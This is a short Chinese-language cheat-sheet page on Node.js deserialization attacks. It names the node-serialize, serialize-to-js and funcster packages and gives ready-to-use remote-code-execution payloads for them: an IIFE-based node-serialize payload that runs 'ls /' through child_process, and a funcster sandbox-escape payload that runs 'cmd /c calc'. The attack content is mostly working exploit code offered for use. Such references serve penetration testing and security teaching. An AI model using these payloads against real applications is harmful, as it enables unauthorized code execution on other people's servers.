跳转至

Node 反序列化 (Node Deserialization)

Node.js 反序列化是指从序列化格式(如 JSON、BSON 或代表结构化数据的其他格式)中重建 JavaScript 对象的过程。在 Node.js 应用程序中,序列化和反序列化通常用于数据存储、缓存和进程间通信。

摘要 (Summary)

方法论 (Methodology)

  • 在 Node 源代码中,查找以下内容:

    • node-serialize
    • serialize-to-js
    • funcster

node-serialize

在 Node.js 的 node-serialize 包 0.0.4 版本中发现了一个问题。通过传递带有立即调用函数表达式 (IIFE) 的 JavaScript 对象,可以利用传递给 unserialize() 函数的不受信任的数据来实现任意代码执行。

  1. 生成序列化后的 Payload

    var y = {
        rce : function(){
            require('child_process').exec('ls /', function(error,
            stdout, stderr) { console.log(stdout) });
        },
    }
    var serialize = require('node-serialize');
    console.log("Serialized: \n" + serialize.serialize(y));
    
  2. 添加括号 () 以强制执行

    {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /', function(error,stdout, stderr) { console.log(stdout) });}()"}
    
  3. 发送 Payload

funcster

{"rce":{"__js_function":"function(){CMD=\"cmd /c calc\";const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').exec(CMD,function(error,stdout,stderr){console.log(stdout)});}()"}}

参考资料 (References)